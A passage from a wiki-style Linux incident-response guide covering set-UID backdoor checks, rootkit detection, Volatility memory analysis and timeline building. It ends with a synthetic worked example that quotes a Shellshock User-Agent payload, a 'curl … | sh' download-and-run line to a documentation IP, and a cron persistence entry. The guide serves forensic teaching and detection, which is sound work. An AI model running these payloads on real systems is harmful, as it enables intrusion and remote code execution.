&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;, not a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, not the main method. Treat their output as leads:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof of health.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself admits that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional harmless false positive (for example a legitimate virtualization driver), so investigate each hit. A rootkit that does not hide, but instead uses an ordinary-sounding name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
Then pivot: use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times. Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit] (TSK). You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login: jump to that time.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are &#039;&#039;&#039;ephemeral&#039;&#039;&#039;: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
